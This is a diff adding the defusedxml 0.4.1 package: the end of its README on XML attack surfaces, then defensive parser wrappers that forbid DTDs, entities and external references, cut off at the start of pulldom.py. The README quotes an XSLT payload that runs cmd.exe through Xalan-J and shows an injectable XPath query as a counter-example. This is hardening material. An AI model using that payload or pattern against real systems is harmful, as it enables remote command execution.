+may impose more threats for XML processing. It depends if and how a
+processor handles processing instructions. The issue of URL retrieval with
+network or local file access apply to processing instructions, too.
+
+
+Other DTD features
+------------------
+
+`DTD`_ has more features like ``<!NOTATION>``. I haven't researched how
+these features may be a security threat.
+
+
+XPath
+-----
+
+XPath statements may introduce DoS vulnerabilities. Code should never execute
+queries from untrusted sources. An attacker may also be able to create a XML
+document that makes certain XPath queries costly or resource hungry.
+
+
+XPath injection attacks
+-----------------------
+
+XPath injeciton attacks pretty much work like SQL injection attacks.
+Arguments to XPath queries must be quoted and validated properly, especially
+when they are taken from the user. The page `Avoid the dangers of XPath injection`_
+list some ramifications of XPath injections.
+
+Python's standard library doesn't have XPath support. Lxml supports
+parameterized XPath queries which does proper quoting. You just have to use
+its xpath() method correctly::
+
+   # DON'T
+   >>> tree.xpath("/tag[@id='%s']" % value)
+
+   # instead do
+   >>> tree.xpath("/tag[@id=$tagid]", tagid=name)
+
+
+XInclude
+--------
+
+`XML Inclusion`_ is another way to load and include external files::
+
+   <root xmlns:xi="http://www.w3.org/2001/XInclude">
+     <xi:include href="filename.txt" parse="text" />
+   </root>
+
+This feature should be disabled when XML files from an untrusted source are
+processed. Some Python XML libraries and libxml2 support XInclude but don't
+have an option to sandbox inclusion and limit it to allowed directories.
+
+
+XMLSchema location
+------------------
+
+A validating XML parser may download schema files from the information in a
+``xsi:schemaLocation`` attribute.
+
+::
+
+  <ead xmlns="urn:isbn:1-931666-22-9"
+       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+       xsi:schemaLocation="urn:isbn:1-931666-22-9 http://www.loc.gov/ead/ead.xsd">
+  </ead>
+
+
+XSL Transformation
+------------------
+
+You should keep in mind that XSLT is a Turing complete language. Never
+process XSLT code from unknown or untrusted source! XSLT processors may
+allow you to interact with external resources in ways you can't even imagine.
+Some processors even support extensions that allow read/write access to file
+system, access to JRE objects or scripting with Jython.
+
+Example from `Attacking XML Security`_ for Xalan-J::
+
+    <xsl:stylesheet version="1.0"
+     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+     xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
+     xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
+     exclude-result-prefixes= "rt ob">
+     <xsl:template match="/">
+       <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
+       <xsl:variable name="command"
+         select="rt:exec($runtimeObject, &apos;c:\Windows\system32\cmd.exe&apos;)"/>
+       <xsl:variable name="commandAsString" select="ob:toString($command)"/>
+       <xsl:value-of select="$commandAsString"/>
+     </xsl:template>
+    </xsl:stylesheet>
+
+
+Related CVEs
+============
+
+CVE-2013-1664
+  Unrestricted entity expansion induces DoS vulnerabilities in Python XML
+  libraries (XML bomb)
+
+CVE-2013-1665
+  External entity expansion in Python XML libraries inflicts potential
+  security flaws and DoS vulnerabilities
+
+
+Other languages / frameworks
+=============================
+
+Several other programming languages and frameworks are vulnerable as well. A
+couple of them are affected by the fact that libxml2 up to 2.9.0 has no
+protection against quadratic blowup attacks. Most of them have potential
+dangerous default settings for entity expansion and external entities, too.
+
+Perl
+----
+
+Perl's XML::Simple is vulnerable to quadratic entity expansion and external
+entity expansion (both local and remote).
+
+
+Ruby
+----
+
+Ruby's REXML document parser is vulnerable to entity expansion attacks
+(both quadratic and exponential) but it doesn't do external entity
+expansion by default. In order to counteract entity expansion you have to
+disable the feature::
+
+  REXML::Document.entity_expansion_limit = 0
+
+libxml-ruby and hpricot don't expand entities in their default configuration.
+
+
+PHP
+---
+
+PHP's SimpleXML API is vulnerable to quadratic entity expansion and loads
+entites from local and remote resources. The option ``LIBXML_NONET`` disables
+network access but still allows local file access. ``LIBXML_NOENT`` seems to
+have no effect on entity expansion in PHP 5.4.6.
+
+
+C# / .NET / Mono
+----------------
+
+Information in `XML DoS and Defenses (MSDN)`_ suggest that .NET is
+vulnerable with its default settings. The article contains code snippets
+how to create a secure XML reader::
+
+  XmlReaderSettings settings = new XmlReaderSettings();
+  settings.ProhibitDtd = false;
+  settings.MaxCharactersFromEntities = 1024;
+  settings.XmlResolver = null;
+  XmlReader reader = XmlReader.Create(stream, settings);
+
+
+Java
+----
+
+Untested. The documentation of Xerces and its `Xerces SecurityMananger`_
+sounds like Xerces is also vulnerable to billion laugh attacks with its
+default settings. It also does entity resolving when an
+``org.xml.sax.EntityResolver`` is configured. I'm not yet sure about the
+default setting here.
+
+Java specialists suggest to have a custom builder factory::
+
+  DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
+  builderFactory.setXIncludeAware(False);
+  builderFactory.setExpandEntityReferences(False);
+  builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True);
+  # either
+  builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True);
+  # or if you need DTDs
+  builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", False);
+  builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", False);
+  builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", False);
+  builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", False);
+
+
+TODO
+====
+
+* DOM: Use xml.dom.xmlbuilder options for entity handling
+* SAX: take feature_external_ges and feature_external_pes (?) into account
+* test experimental monkey patching of stdlib modules
+* improve documentation
+
+
+License
+=======
+
+Copyright (c) 2013 by Christian Heimes <christian@python.org>
+
+Licensed to PSF under a Contributor Agreement.
+
+See http://www.python.org/psf/license for licensing details.
+
+
+Acknowledgements
+================
+
+Brett Cannon (Python Core developer)
+  review and code cleanup
+
+Antoine Pitrou (Python Core developer)
+  code review
+
+Aaron Patterson, Ben Murphy and Michael Koziarski (Ruby community)
+  Many thanks to Aaron, Ben and Michael from the Ruby community for their
+  report and assistance.
+
+Thierry Carrez (OpenStack)
+  Many thanks to Thierry for his report to the Python Security Response
+  Team on behalf of the OpenStack security team.
+
+Carl Meyer (Django)
+  Many thanks to Carl for his report to PSRT on behalf of the Django security
+  team.
+
+Daniel Veillard (libxml2)
+  Many thanks to Daniel for his insight and assistance with libxml2.
+
+semantics GmbH (http://www.semantics.de/)
+  Many thanks to my employer semantics for letting me work on the issue
+  during working hours as part of semantics's open source initiative.
+
+
+References
+==========
+
+* `XML DoS and Defenses (MSDN)`_
+* `Billion Laughs`_ on Wikipedia
+* `ZIP bomb`_ on Wikipedia
+* `Configure SAX parsers for secure processing`_
+* `Testing for XML Injection`_
+
+.. _defusedxml package: https://bitbucket.org/tiran/defusedxml
+.. _defusedxml on PyPI: https://pypi.python.org/pypi/defusedxml
+.. _defusedexpat package: https://bitbucket.org/tiran/defusedexpat
+.. _defusedexpat on PyPI: https://pypi.python.org/pypi/defusedexpat
+.. _modified expat: https://bitbucket.org/tiran/expat
+.. _expat parser: http://expat.sourceforge.net/
+.. _Attacking XML Security: https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf
+.. _Billion Laughs: http://en.wikipedia.org/wiki/Billion_laughs
+.. _XML DoS and Defenses (MSDN): http://msdn.microsoft.com/en-us/magazine/ee335713.aspx
+.. _ZIP bomb: http://en.wikipedia.org/wiki/Zip_bomb
+.. _DTD: http://en.wikipedia.org/wiki/Document_Type_Definition
+.. _PI: https://en.wikipedia.org/wiki/Processing_Instruction
+.. _Avoid the dangers of XPath injection: http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html
+.. _Configure SAX parsers for secure processing: http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html
+.. _Testing for XML Injection: https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)
+.. _Xerces SecurityMananger: http://xerces.apache.org/xerces2-j/javadocs/xerces2/org/apache/xerces/util/SecurityManager.html
+.. _XML Inclusion: http://www.w3.org/TR/xinclude/#include_element

+ 112 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/ElementTree.py

@@ -0,0 +1,112 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
+# See http://www.python.org/psf/license for licensing details.
+"""Defused xml.etree.ElementTree facade
+"""
+from __future__ import print_function, absolute_import
+
+import sys
+from .common import PY3, PY26, PY31
+if PY3:
+    import importlib
+else:
+    from xml.etree.ElementTree import XMLParser as _XMLParser
+    from xml.etree.ElementTree import iterparse as _iterparse
+    if PY26:
+        from xml.parsers.expat import ExpatError as ParseError
+    else:
+        from xml.etree.ElementTree import ParseError
+    _IterParseIterator = None
+from xml.etree.ElementTree import TreeBuilder as _TreeBuilder
+from xml.etree.ElementTree import parse as _parse
+from xml.etree.ElementTree import tostring
+
+from .common import (DTDForbidden, EntitiesForbidden,
+                     ExternalReferenceForbidden, _generate_etree_functions)
+
+__origin__ = "xml.etree.ElementTree"
+
+def _get_py3_cls():
+    """Python 3.3 hides the pure Python code but defusedxml requires it.
+
+    The code is based on test.support.import_fresh_module().
+    """
+    pymodname = "xml.etree.ElementTree"
+    cmodname = "_elementtree"
+
+    pymod = sys.modules.pop(pymodname, None)
+    cmod = sys.modules.pop(cmodname, None)
+
+    sys.modules[cmodname] = None
+    pure_pymod = importlib.import_module(pymodname)
+    if cmod is not None:
+        sys.modules[cmodname] = cmod
+    else:
+        sys.modules.pop(cmodname)
+    sys.modules[pymodname] = pymod
+
+    _XMLParser = pure_pymod.XMLParser
+    _iterparse = pure_pymod.iterparse
+    if PY31:
+        _IterParseIterator = None
+        from xml.parsers.expat import ExpatError as ParseError
+    else:
+        _IterParseIterator = pure_pymod._IterParseIterator
+        ParseError = pure_pymod.ParseError
+
+    return _XMLParser, _iterparse, _IterParseIterator, ParseError
+
+if PY3:
+    _XMLParser, _iterparse, _IterParseIterator, ParseError = _get_py3_cls()
+
+
+class DefusedXMLParser(_XMLParser):
+    def __init__(self, html=0, target=None, encoding=None,
+                 forbid_dtd=False, forbid_entities=True,
+                 forbid_external=True):
+        if PY26 or PY31:
+            _XMLParser.__init__(self, html, target)
+        else:
+            # Python 2.x old style class
+            _XMLParser.__init__(self, html, target, encoding)
+        self.forbid_dtd = forbid_dtd
+        self.forbid_entities = forbid_entities
+        self.forbid_external = forbid_external
+        if PY3 and not PY31:
+            parser = self.parser
+        else:
+            parser = self._parser
+        if self.forbid_dtd:
+            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
+        if self.forbid_entities:
+            parser.EntityDeclHandler = self.defused_entity_decl
+            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
+        if self.forbid_external:
+            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler
+
+    def defused_start_doctype_decl(self, name, sysid, pubid,
+                                   has_internal_subset):
+        raise DTDForbidden(name, sysid, pubid)
+
+    def defused_entity_decl(self, name, is_parameter_entity, value, base,
+                            sysid, pubid, notation_name):
+        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)
+
+    def defused_unparsed_entity_decl(self, name, base, sysid, pubid,
+                                     notation_name):
+        # expat 1.2
+        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)
+
+    def defused_external_entity_ref_handler(self, context, base, sysid,
+                                            pubid):
+        raise ExternalReferenceForbidden(context, base, sysid, pubid)
+
+
+# aliases
+XMLTreeBuilder = XMLParse = DefusedXMLParser
+
+parse, iterparse, fromstring = _generate_etree_functions(DefusedXMLParser,
+        _TreeBuilder, _IterParseIterator, _parse, _iterparse)
+XML = fromstring

+ 42 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/__init__.py

@@ -0,0 +1,42 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
+# See http://www.python.org/psf/license for licensing details.
+"""Defuse XML bomb denial of service vulnerabilities
+"""
+from __future__ import print_function, absolute_import
+
+from .common import (DefusedXmlException, DTDForbidden, EntitiesForbidden,
+                     ExternalReferenceForbidden, NotSupportedError,
+                     _apply_defusing)
+
+def defuse_stdlib():
+    """Monkey patch and defuse all stdlib packages
+
+    :warning: The monkey patch is an EXPERIMETNAL feature.
+    """
+    defused = {}
+
+    from . import cElementTree
+    from . import ElementTree
+    from . import minidom
+    from . import pulldom
+    from . import sax
+    from . import expatbuilder
+    from . import expatreader
+    from . import xmlrpc
+
+    xmlrpc.monkey_patch()
+    defused[xmlrpc] = None
+
+    for defused_mod in [cElementTree, ElementTree, minidom, pulldom, sax,
+                        expatbuilder, expatreader]:
+        stdlib_mod = _apply_defusing(defused_mod)
+        defused[defused_mod] = stdlib_mod
+
+    return defused
+
+
+__version__ = "0.4.1"
+

+ 25 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/cElementTree.py

@@ -0,0 +1,25 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
+# See http://www.python.org/psf/license for licensing details.
+"""Defused xml.etree.cElementTree
+"""
+from __future__ import absolute_import
+
+from xml.etree.cElementTree import TreeBuilder as _TreeBuilder
+from xml.etree.cElementTree import parse as _parse
+from xml.etree.cElementTree import tostring
+# iterparse from ElementTree!
+from xml.etree.ElementTree import iterparse as _iterparse
+
+from .ElementTree import DefusedXMLParser, _IterParseIterator
+from .common import _generate_etree_functions
+
+__origin__ = "xml.etree.cElementTree"
+
+XMLTreeBuilder = XMLParse = DefusedXMLParser
+
+parse, iterparse, fromstring = _generate_etree_functions(DefusedXMLParser,
+        _TreeBuilder, _IterParseIterator, _parse, _iterparse)
+XML = fromstring

+ 163 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/common.py

@@ -0,0 +1,163 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
+# See http://www.python.org/psf/license for licensing details.
+"""Common constants, exceptions and helpe functions
+"""
+import sys
+from types import MethodType
+
+PY3 = sys.version_info[0] == 3
+PY26 = sys.version_info[:2] == (2, 6)
+PY31 = sys.version_info[:2] == (3, 1)
+
+
+class DefusedXmlException(ValueError):
+    """Base exception
+    """
+    def __repr__(self):
+        return str(self)
+
+
+class DTDForbidden(DefusedXmlException):
+    """Document type definition is forbidden
+    """
+    def __init__(self, name, sysid, pubid):
+        super(DTDForbidden, self).__init__()
+        self.name = name
+        self.sysid = sysid
+        self.pubid = pubid
+
+    def __str__(self):
+        tpl = "DTDForbidden(name='{}', system_id={!r}, public_id={!r})"
+        return tpl.format(self.name, self.sysid, self.pubid)
+
+
+class EntitiesForbidden(DefusedXmlException):
+    """Entity definition is forbidden
+    """
+    def __init__(self, name, value, base, sysid, pubid, notation_name):
+        super(EntitiesForbidden, self).__init__()
+        self.name = name
+        self.value = value
+        self.base = base
+        self.sysid = sysid
+        self.pubid = pubid
+        self.notation_name = notation_name
+
+    def __str__(self):
+        tpl = "EntitiesForbidden(name='{}', system_id={!r}, public_id={!r})"
+        return tpl.format(self.name, self.sysid, self.pubid)
+
+
+class ExternalReferenceForbidden(DefusedXmlException):
+    """Resolving an external reference is forbidden
+    """
+    def __init__(self, context, base, sysid, pubid):
+        super(ExternalReferenceForbidden, self).__init__()
+        self.context = context
+        self.base = base
+        self.sysid = sysid
+        self.pubid = pubid
+
+    def __str__(self):
+        tpl = "ExternalReferenceForbidden(system_id='{}', public_id={})"
+        return tpl.format(self.sysid, self.pubid)
+
+
+class NotSupportedError(DefusedXmlException):
+    """The operation is not supported
+    """
+
+
+def _apply_defusing(defused_mod):
+    assert defused_mod is sys.modules[defused_mod.__name__]
+    stdlib_name = defused_mod.__origin__
+    __import__(stdlib_name, {}, {}, ["*"])
+    stdlib_mod = sys.modules[stdlib_name]
+    stdlib_names = set(dir(stdlib_mod))
+    for name, obj in vars(defused_mod).items():
+        if name.startswith("_") or name not in stdlib_names:
+            continue
+        setattr(stdlib_mod, name, obj)
+    return stdlib_mod
+
+
+def _generate_etree_functions(DefusedXMLParser, _TreeBuilder,
+            _IterParseIterator, _parse, _iterparse):
+    """Factory for functions needed by etree, dependent on whether
+    cElementTree or ElementTree is used."""
+
+    def parse(source, parser=None, forbid_dtd=False, forbid_entities=True,
+              forbid_external=True):
+        if parser is None:
+            parser = DefusedXMLParser(target=_TreeBuilder(),
+                                      forbid_dtd=forbid_dtd,
+                                      forbid_entities=forbid_entities,
+                                      forbid_external=forbid_external)
+        return _parse(source, parser)
+
+    if PY26 or PY31:
+        def bind(xmlparser, funcname, hookname):
+            func = getattr(DefusedXMLParser, funcname)
+            if PY26:
+                # unbound -> function
+                func = func.__func__
+                method = MethodType(func, xmlparser, xmlparser.__class__)
+            else:
+                method = MethodType(func, xmlparser)
+            # set hook
+            setattr(xmlparser._parser, hookname, method)
+
+        def iterparse(source, events=None, forbid_dtd=False,
+                      forbid_entities=True, forbid_external=True):
+            it = _iterparse(source, events)
+            xmlparser = it._parser
+            if forbid_dtd:
+                bind(xmlparser, "defused_start_doctype_decl",
+                     "StartDoctypeDeclHandler")
+            if forbid_entities:
+                bind(xmlparser, "defused_entity_decl",
+                     "EntityDeclHandler")
+                bind(xmlparser, "defused_unparsed_entity_decl",
+                     "UnparsedEntityDeclHandler")
+            if forbid_external:
+                bind(xmlparser, "defused_external_entity_ref_handler",
+                     "ExternalEntityRefHandler")
+            return it
+    elif PY3:
+        def iterparse(source, events=None, parser=None, forbid_dtd=False,
+                      forbid_entities=True, forbid_external=True):
+            close_source = False
+            if not hasattr(source, "read"):
+                source = open(source, "rb")
+                close_source = True
+            if not parser:
+                parser = DefusedXMLParser(target=_TreeBuilder(),
+                                          forbid_dtd=forbid_dtd,
+                                          forbid_entities=forbid_entities,
+                                          forbid_external=forbid_external)
+            return _IterParseIterator(source, events, parser, close_source)
+    else:
+        # Python 2.7
+        def iterparse(source, events=None, parser=None, forbid_dtd=False,
+                      forbid_entities=True, forbid_external=True):
+            if parser is None:
+                parser = DefusedXMLParser(target=_TreeBuilder(),
+                                          forbid_dtd=forbid_dtd,
+                                          forbid_entities=forbid_entities,
+                                          forbid_external=forbid_external)
+            return _iterparse(source, events, parser)
+
+    def fromstring(text, forbid_dtd=False, forbid_entities=True,
+                   forbid_external=True):
+        parser = DefusedXMLParser(target=_TreeBuilder(),
+                                  forbid_dtd=forbid_dtd,
+                                  forbid_entities=forbid_entities,
+                                  forbid_external=forbid_external)
+        parser.feed(text)
+        return parser.close()
+
+
+    return parse, iterparse, fromstring

+ 110 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/expatbuilder.py

@@ -0,0 +1,110 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
+# See http://www.python.org/psf/license for licensing details.
+"""Defused xml.dom.expatbuilder
+"""
+from __future__ import print_function, absolute_import
+
+from xml.dom.expatbuilder import ExpatBuilder as _ExpatBuilder
+from xml.dom.expatbuilder import Namespaces as _Namespaces
+
+from .common import (DTDForbidden, EntitiesForbidden,
+                     ExternalReferenceForbidden)
+
+__origin__ = "xml.dom.expatbuilder"
+
+
+class DefusedExpatBuilder(_ExpatBuilder):
+    """Defused document builder"""
+
+    def __init__(self, options=None, forbid_dtd=False, forbid_entities=True,
+                 forbid_external=True):
+        _ExpatBuilder.__init__(self, options)
+        self.forbid_dtd = forbid_dtd
+        self.forbid_entities = forbid_entities
+        self.forbid_external = forbid_external
+
+    def defused_start_doctype_decl(self, name, sysid, pubid,
+                                   has_internal_subset):
+        raise DTDForbidden(name, sysid, pubid)
+
+    def defused_entity_decl(self, name, is_parameter_entity, value, base,
+                            sysid, pubid, notation_name):
+        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)
+
+    def defused_unparsed_entity_decl(self, name, base, sysid, pubid,
+                                     notation_name):
+        # expat 1.2
+        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)
+
+    def defused_external_entity_ref_handler(self, context, base, sysid,
+                                            pubid):
+        raise ExternalReferenceForbidden(context, base, sysid, pubid)
+
+    def install(self, parser):
+        _ExpatBuilder.install(self, parser)
+
+        if self.forbid_dtd:
+            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
+        if self.forbid_entities:
+            #if self._options.entities:
+            parser.EntityDeclHandler = self.defused_entity_decl
+            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
+        if self.forbid_external:
+            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler
+
+
+class DefusedExpatBuilderNS(_Namespaces, DefusedExpatBuilder):
+    """Defused document builder that supports namespaces."""
+
+    def install(self, parser):
+        DefusedExpatBuilder.install(self, parser)
+        if self._options.namespace_declarations:
+            parser.StartNamespaceDeclHandler = (
+                self.start_namespace_decl_handler)
+
+    def reset(self):
+        DefusedExpatBuilder.reset(self)
+        self._initNamespaces()
+
+
+def parse(file, namespaces=True, forbid_dtd=False, forbid_entities=True,
+          forbid_external=True):
+    """Parse a document, returning the resulting Document node.
+
+    'file' may be either a file name or an open file object.
+    """
+    if namespaces:
+        build_builder = DefusedExpatBuilderNS
+    else:
+        build_builder = DefusedExpatBuilder
+    builder = build_builder(forbid_dtd=forbid_dtd,
+                            forbid_entities=forbid_entities,
+                            forbid_external=forbid_external)
+
+    if isinstance(file, str):
+        fp = open(file, 'rb')
+        try:
+            result = builder.parseFile(fp)
+        finally:
+            fp.close()
+    else:
+        result = builder.parseFile(file)
+    return result
+
+
+def parseString(string, namespaces=True, forbid_dtd=False,
+                forbid_entities=True, forbid_external=True):
+    """Parse a document from a string, returning the resulting
+    Document node.
+    """
+    if namespaces:
+        build_builder = DefusedExpatBuilderNS
+    else:
+        build_builder = DefusedExpatBuilder
+    builder = build_builder(forbid_dtd=forbid_dtd,
+                            forbid_entities=forbid_entities,
+                            forbid_external=forbid_external)
+    return builder.parseString(string)

+ 59 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/expatreader.py

@@ -0,0 +1,59 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
+# See http://www.python.org/psf/license for licensing details.
+"""Defused xml.sax.expatreader
+"""
+from __future__ import print_function, absolute_import
+
+from xml.sax.expatreader import ExpatParser as _ExpatParser
+
+from .common import (DTDForbidden, EntitiesForbidden,
+                     ExternalReferenceForbidden)
+
+__origin__ = "xml.sax.expatreader"
+
+
+class DefusedExpatParser(_ExpatParser):
+    """Defused SAX driver for the pyexpat C module."""
+
+    def __init__(self, namespaceHandling=0, bufsize=2 ** 16 - 20,
+                 forbid_dtd=False, forbid_entities=True,
+                 forbid_external=True):
+        _ExpatParser.__init__(self, namespaceHandling, bufsize)
+        self.forbid_dtd = forbid_dtd
+        self.forbid_entities = forbid_entities
+        self.forbid_external = forbid_external
+
+    def defused_start_doctype_decl(self, name, sysid, pubid,
+                                   has_internal_subset):
+        raise DTDForbidden(name, sysid, pubid)
+
+    def defused_entity_decl(self, name, is_parameter_entity, value, base,
+                            sysid, pubid, notation_name):
+        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)
+
+    def defused_unparsed_entity_decl(self, name, base, sysid, pubid,
+                                     notation_name):
+        # expat 1.2
+        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)
+
+    def defused_external_entity_ref_handler(self, context, base, sysid,
+                                            pubid):
+        raise ExternalReferenceForbidden(context, base, sysid, pubid)
+
+    def reset(self):
+        _ExpatParser.reset(self)
+        parser = self._parser
+        if self.forbid_dtd:
+            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
+        if self.forbid_entities:
+            parser.EntityDeclHandler = self.defused_entity_decl
+            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
+        if self.forbid_external:
+            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler
+
+
+def create_parser(*args, **kwargs):
+    return DefusedExpatParser(*args, **kwargs)

+ 149 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/lxml.py

@@ -0,0 +1,149 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
+# See http://www.python.org/psf/license for licensing details.
+"""Example code for lxml.etree protection
+
+The code has NO protection against decompression bombs.
+"""
+from __future__ import print_function, absolute_import
+
+import threading
+from lxml import etree as _etree
+
+from .common import DTDForbidden, EntitiesForbidden, NotSupportedError
+
+LXML3 = _etree.LXML_VERSION[0] >= 3
+
+__origin__ = "lxml.etree"
+
+tostring = _etree.tostring
+
+
+class RestrictedElement(_etree.ElementBase):
+    """A restricted Element class that filters out instances of some classes
+    """
+    __slots__ = ()
+    # blacklist = (etree._Entity, etree._ProcessingInstruction, etree._Comment)
+    blacklist = _etree._Entity
+
+    def _filter(self, iterator):
+        blacklist = self.blacklist
+        for child in iterator:
+            if isinstance(child, blacklist):
+                continue
+            yield child
+
+    def __iter__(self):
+        iterator = super(RestrictedElement, self).__iter__()
+        return self._filter(iterator)
+
+    def iterchildren(self, tag=None, reversed=False):
+        iterator = super(RestrictedElement, self).iterchildren(tag=tag, reversed=reversed)
+        return self._filter(iterator)
+
+    def iter(self, tag=None, *tags):
+        iterator = super(RestrictedElement, self).iter(tag=tag, *tags)
+        return self._filter(iterator)
+
+    def iterdescendants(self, tag=None, *tags):
+        iterator = super(RestrictedElement, self).iterdescendants(tag=tag, *tags)
+        return self._filter(iterator)
+
+    def itersiblings(self, tag=None, preceding=False):
+        iterator = super(RestrictedElement, self).itersiblings(tag=tag, preceding=preceding)
+        return self._filter(iterator)
+
+    def getchildren(self):
+        iterator = super(RestrictedElement, self).__iter__()
+        return list(self._filter(iterator))
+
+    def getiterator(self, tag=None):
+        iterator = super(RestrictedElement, self).getiterator(tag)
+        return self._filter(iterator)
+
+
+class GlobalParserTLS(threading.local):
+    """Thread local context for custom parser instances
+    """
+    parser_config = {
+        'resolve_entities': False,
+        #'remove_comments': True,
+        #'remove_pis': True,
+    }
+
+    element_class = RestrictedElement
+
+    def createDefaultParser(self):
+        parser = _etree.XMLParser(**self.parser_config)
+        element_class = self.element_class
+        if self.element_class is not None:
+            lookup = _etree.ElementDefaultClassLookup(element=element_class)
+            parser.set_element_class_lookup(lookup)
+        return parser
+
+    def setDefaultParser(self, parser):
+        self._default_parser = parser
+
+    def getDefaultParser(self):
+        parser = getattr(self, "_default_parser", None)
+        if parser is None:
+            parser = self.createDefaultParser()
+            self.setDefaultParser(parser)
+        return parser
+
+
+_parser_tls = GlobalParserTLS()
+getDefaultParser = _parser_tls.getDefaultParser
+
+
+def check_docinfo(elementtree, forbid_dtd=False, forbid_entities=True):
+    """Check docinfo of an element tree for DTD and entity declarations
+
+    The check for entity declarations needs lxml 3 or newer. lxml 2.x does
+    not support dtd.iterentities().
+    """
+    docinfo = elementtree.docinfo
+    if docinfo.doctype:
+        if forbid_dtd:
+            raise DTDForbidden(docinfo.doctype,
+                               docinfo.system_url,
+                               docinfo.public_id)
+        if forbid_entities and not LXML3:
+            # lxml < 3 has no iterentities()
+            raise NotSupportedError("Unable to check for entity declarations "
+                                    "in lxml 2.x")
+
+    if forbid_entities:
+        for dtd in docinfo.internalDTD, docinfo.externalDTD:
+            if dtd is None:
+                continue
+            for entity in dtd.iterentities():
+                raise EntitiesForbidden(entity.name, entity.content, None,
+                                        None, None, None)
+
+
+def parse(source, parser=None, base_url=None, forbid_dtd=False,
+          forbid_entities=True):
+    if parser is None:
+        parser = getDefaultParser()
+    elementtree = _etree.parse(source, parser, base_url=base_url)
+    check_docinfo(elementtree, forbid_dtd, forbid_entities)
+    return elementtree
+
+
+def fromstring(text, parser=None, base_url=None, forbid_dtd=False,
+               forbid_entities=True):
+    if parser is None:
+        parser = getDefaultParser()
+    rootelement = _etree.fromstring(text, parser, base_url=base_url)
+    elementtree = rootelement.getroottree()
+    check_docinfo(elementtree, forbid_dtd, forbid_entities)
+    return rootelement
+
+XML = fromstring
+
+
+def iterparse(*args, **kwargs):
+    raise NotSupportedError("defused lxml.etree.iterparse not available")

+ 40 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/minidom.py

@@ -0,0 +1,40 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
+# See http://www.python.org/psf/license for licensing details.
+"""Defused xml.dom.minidom
+"""
+from __future__ import print_function, absolute_import
+
+from xml.dom.minidom import _do_pulldom_parse
+from . import expatbuilder as _expatbuilder
+from . import pulldom as _pulldom
+
+__origin__ = "xml.dom.minidom"
+
+def parse(file, parser=None, bufsize=None, forbid_dtd=False,
+          forbid_entities=True, forbid_external=True):
+    """Parse a file into a DOM by filename or file object."""
+    if parser is None and not bufsize:
+        return _expatbuilder.parse(file, forbid_dtd=forbid_dtd,
+                                   forbid_entities=forbid_entities,
+                                   forbid_external=forbid_external)
+    else:
+        return _do_pulldom_parse(_pulldom.parse, (file,),
+            {'parser': parser, 'bufsize': bufsize,
+             'forbid_dtd': forbid_dtd, 'forbid_entities': forbid_entities,
+             'forbid_external': forbid_external})
+
+def parseString(string, parser=None, forbid_dtd=False,
+                forbid_entities=True, forbid_external=True):
+    """Parse a file into a DOM from a string."""
+    if parser is None:
+        return _expatbuilder.parseString(string, forbid_dtd=forbid_dtd,
+                                        forbid_entities=forbid_entities,
+                                        forbid_external=forbid_external)
+    else:
+        return _do_pulldom_parse(_pulldom.parseString, (string,),
+                                 {'parser': parser, 'forbid_dtd': forbid_dtd,
+                                  'forbid_entities': forbid_entities,
+                                  'forbid_external': forbid_external})

+ 34 - 0
desktop/core/ext-py/defusedxml-0.4.1/defusedxml/pulldom.py

@@ -0,0 +1,34 @@
+# defusedxml
+#
+# Copyright (c) 2013 by Christian Heimes <christian@python.org>
+# Licensed to PSF under a Contributor Agreement.
